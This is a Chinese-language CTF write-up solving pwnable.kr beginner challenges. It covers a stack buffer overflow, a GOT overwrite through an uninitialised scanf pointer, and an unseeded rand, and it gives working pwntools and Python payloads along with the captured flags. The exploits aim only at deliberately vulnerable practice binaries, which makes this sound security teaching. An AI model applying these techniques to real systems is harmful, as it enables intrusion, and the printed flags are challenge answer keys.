Pwnable.kr Toddler's Bottle 练习记录

Pwnable.kr Toddler's Bottle 练习记录。

fd

查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。

  • 0:stdin,标准输入流
  • 1:stdout,标准输出流
  • 2:stderr,标准错误流

当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。

1
2
3
4
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
Mama! Now_I_understand_what_file_descriptors_are!

collision

查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。

构造用于输入的字符串,读取 flag 信息。

1
2
col@ubuntu:~$ ./col `python2 -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'`
Two_hash_collision_Nicely

bof

查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。

查看 func 函数的栈布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
-000000000000002C     char overflowme[32];
-000000000000000C _DWORD var_C;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008 _DWORD key;

其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。

在题目服务器的 /tmp 目录中新建任意目录,创建 Python 脚本文件,内容如下。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

from pwn import *

payload = b'A' * 0x34
payload += b'\xbe\xba\xfe\xca'

target = remote('0.0.0.0', 9000)
target.sendline(payload)
target.interactive()

运行脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
bof@ubuntu:/tmp/bof_test$ python3 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
Daddy_I_just_pwned_a_buff3r!
$

passcode

查看程序源码,当 passcode1 为 123456 和 passcode2 为 13371337 时得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==123456 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

login() 函数中,可以看到 passcode1passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。

经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,从而实现任意地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// eax = 0xffffd098 -> name array address
*EAX 0xffffd098 ◂— 0x28 /* '(' */

0x804931e <welcome+44> add esp, 0x10
0x8049321 <welcome+47> sub esp, 8
0x8049324 <welcome+50> lea eax, [ebp - 0x70]
► 0x8049327 <welcome+53> push eax
0x8049328 <welcome+54> lea eax, [ebx - 0x1f8b]
0x804932e <welcome+60> push eax
0x804932f <welcome+61> call __isoc99_scanf@plt <__isoc99_scanf@plt>


// ebp - 0x10 = 0xffffd0f8 -> passcode1 address
EBP 0xffffd108 —▸ 0xffffd118 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0

0x8049218 <login+34> add esp, 0x10
0x804921b <login+37> sub esp, 8
► 0x804921e <login+40> push dword ptr [ebp - 0x10]
0x8049221 <login+43> lea eax, [ebx - 0x1fe5]
0x8049227 <login+49> push eax
0x8049228 <login+50> call __isoc99_scanf@plt <__isoc99_scanf@plt>

// ebp - 0xc = 0xffffd0fc -> passcode2 address
EBP 0xffffd108 —▸ 0xffffd118 ◂— 0x1e240

0x8049253 <login+93> add esp, 0x10
0x8049256 <login+96> sub esp, 8
► 0x8049259 <login+99> push dword ptr [ebp - 0xc]
0x804925c <login+102> lea eax, [ebx - 0x1fe5]
0x8049262 <login+108> push eax
0x8049263 <login+109> call __isoc99_scanf@plt <__isoc99_scanf@plt>

借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来跳转到任意地址进行执行,从而绕过校验代码,得到 flag 信息。

查看 .got.plt 中的函数列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
passcode@ubuntu:~$ readelf -r passcode

Relocation section '.rel.dyn' at offset 0x430 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
0804bff8 00000806 R_386_GLOB_DAT 00000000 __gmon_start__
0804bffc 00000a06 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x440 contains 10 entries:
Offset Info Type Sym.Value Sym. Name
0804c00c 00000107 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.34
0804c010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804c014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804c018 00000407 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804c01c 00000507 R_386_JUMP_SLOT 00000000 getegid@GLIBC_2.0
0804c020 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804c024 00000707 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804c028 00000907 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804c02c 00000b07 R_386_JUMP_SLOT 00000000 setregid@GLIBC_2.0
0804c030 00000c07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。

通过 fflush() 函数直接跳转到校验成功分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0804928F                 sub     esp, 0Ch
.text:08049292 lea eax, (aLoginOk - 804C000h)[ebx] ; "Login OK!"
.text:08049298 push eax ; s
.text:08049299 call _puts
.text:0804929E add esp, 10h
.text:080492A1 call _getegid
.text:080492A6 mov esi, eax
.text:080492A8 call _getegid
.text:080492AD sub esp, 8
.text:080492B0 push esi ; egid
.text:080492B1 push eax ; rgid
.text:080492B2 call _setregid
.text:080492B7 add esp, 10h
.text:080492BA sub esp, 0Ch
.text:080492BD lea eax, (aBinCatFlag - 804C000h)[ebx] ; "/bin/cat flag"
.text:080492C3 push eax ; command
.text:080492C4 call _system
.text:080492C9 add esp, 10h
.text:080492CC jmp short loc_80492EA

借助 Python 向程序传参,得到 flag 信息。

1
2
3
4
5
passcode@ubuntu:~$ python2 -c 'print "a" * 96 + "\x14\xc0\x04\x08" + "134517409"' | ./passcode
Toddler's Secure Login System 1.1 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
s0rry_mom_I_just_ign0red_c0mp1ler_w4rning
enter passcode1 : Now I can safely trust you that you have credential :)

random

查看程序源码,当输入数据与随机数异或结果为 0xcafebabe 时,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xcafebabe ){
printf("Good!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

由于程序在调用 rand() 函数之前,未调用 srand() 函数初始化随机数种子,因此系统会默认以 1 为种子生成随机数,这将导致每次运行程序生成的随机数均相同。

本地调试程序,得到生成的随机数 0x6b8b4567。

1
2
3
4
5
6
7
8
9
*RAX  0x6b8b4567

0x555555555216 <main+13> mov rax, qword ptr fs:[0x28]
0x55555555521f <main+22> mov qword ptr [rbp - 0x18], rax
0x555555555223 <main+26> xor eax, eax
0x555555555225 <main+28> mov eax, 0
0x55555555522a <main+33> call rand@plt <rand@plt>

► 0x55555555522f <main+38> mov dword ptr [rbp - 0x1c], eax

异或计算得到正确的 key 值为 0xa175ffd9,即十进制 2708864985。

运行程序,得到 flag 信息。

1
2
3
4
random@ubuntu:~$ ./random
2708864985
Good!
m0mmy_I_can_predict_rand0m_v4lue!

input2

查看程序源码,需要满足五个条件才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}

第一个条件,通过 Shell 传递 100 个参数,且第 A (65) 个参数为 \x00,第 B (66) 个参数为 \x20\x0a\x0d

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

第二个条件,向 stdio 中写入 \x00\x0a\x00\xff,向 stderr 中写入 \x00\x0a\x02\xff

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第三个条件,新增 \xde\xad\xbe\xef 环境变量,设置值为 \xca\xfe\xba\xbe

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

第四个条件,新建 \x0a 文件,内容为 \x00\x00\x00\x00

1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

第五个条件,通过 Shell 第 C (67) 个参数指定监听端口,建立连接发送 \xde\xad\xbe\xef 数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

根据条件,编写利用脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

import os
import time
import socket
import subprocess

port = 10000

if __name__ == "__main__":
args = list("A" * 100)
args[0] = "/home/input2/input2"
args[ord('A')] = ""
args[ord('B')] = "\x20\x0a\x0d"
args[ord('C')] = str(port)

stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()
os.write(stdinw, b"\x00\x0a\x00\xff")
os.write(stderrw, b"\x00\x0a\x02\xff")

environ = {b"\xde\xad\xbe\xef": b"\xca\xfe\xba\xbe"}

f = open("\x0a", "w+")
f.write("\x00\x00\x00\x00")
f.close()

target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)
time.sleep(2)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(("127.0.0.1", port))
server.send(b"\xde\xad\xbe\xef")
server.close()

将脚本上传到服务器 /tmp 下新建的目录中,并通过软链接引用 flag 文件。

1
ln -s /home/input2/flag ./flag

运行脚本,获取 flag 信息。

1
2
3
4
5
6
7
8
9
10
input2@ubuntu:/tmp/input2_test$ python3 get_flag.py
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy_now_I_know_how_to_pa5s_inputs_in_Linux

leg

查看程序源码,需要计算出三个正确的 key 值才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

根据题目给出的调试信息,分析三个 key 函数的返回值。

查看 key1() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

根据 Arm 架构的三级流水线特性,当 0x00008cdc 处的指令执行时,寄存器 pc 中的值为 0x00008ce4,所以 key1() 函数的返回值为 0x00008ce4。

查看 key2() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

根据 Arm 架构的状态变换特性,当 0x00008d04 处指令执行时,寄存器 pc 的值为 0x00008d04,因此 key2() 函数的返回值为 0x00008d0c。

查看 main()key3() 函数的汇编代码。

1
2
3
4
5
6
7
8
9
(gdb) disass main
Dump of assembler code for function main:
....
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
....
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

根据 Arm 架构的函数调用特性,寄存器 lr 保存着 key3() 函数的返回地址,因此 key3() 函数的返回值为 0x00008d80。

将三个返回值相加,计算出 key 值为 0x0001A770,得到 flag 信息。

1
2
3
4
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
daddy_has_lot_of_ARM_muscl3

mistake

查看程序源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
setregid(getegid(), getegid());
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

由于在 C 语言中,运算符 = 低于运算符 < 的优先级,所以 fd 保存的是 open("/home/mistake/password",O_RDONLY,0400) < 0 的比较结果,而不是 /home/mistake/password 的文件指针。

因此 read() 函数实际是从 stdin 中读取数据。这将使得 pw_bufpw_buf2 的内容均可控,从而可以通过校验,得到 flag 信息。

1
2
3
4
5
6
mistake@ubuntu:~$ ./mistake
do not bruteforce...
BBBBBBBBBB
input password : CCCCCCCCCC
Password OK
Mommy_the_0perator_priority_confuses_me

coin1

根据题目要求,需要在有限时间内,找出所给硬币中的假币。可以采用二分法进行计算,使用 Python 进行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python2

from pwn import *

target = remote("0.0.0.0", 9007)

print target.recvuntil("Ready? starting in 3 sec... -\n")
print target.recvline()

for j in range(0, 100):
data = target.recvline()
print data

strlist = data.split(' ')
nums = int(strlist[0][2:])
counts = int(strlist[1][2:])

num_start = 0
while (counts > 0):
if(nums == 1):
counts -= 1
target.sendline(str(num_start))
target.recvline()
continue

if(data == 9):
num_start = int(answer)
counts -= 1
target.sendline(answer)
target.recvline()
continue

num_end = num_start + nums / 2
weight = nums / 2 * 10
answer = ''
for i in range(num_start, num_end):
answer += str(i)
answer += ' '

counts -= 1
target.sendline(answer)
data = int(target.recvline())

if(data < weight):
nums = nums / 2
else:
nums = nums - nums / 2
num_start = num_end

target.sendline(str(num_start))
print target.recvline()

print target.recvline()
print 'flag = ' + target.recvline()

target.close()

因为题目服务器网络问题,远程运行脚本时,会经常断开连接,所以将脚本上传到题目服务器,在服务器本地运行脚本。

经过几次运算,可以得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
coin1@ubuntu:/tmp/coin1_test$ python2 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9007: Done

....

N=597 C=10

Correct! (98)

N=518 C=10

Correct! (99)

Congrats! get your flag

flag = b1naRy_S34rch1Ng_1s_3asy_p3asy

[*] Closed connection to 0.0.0.0 port 9007

参考链接

pwnable.kr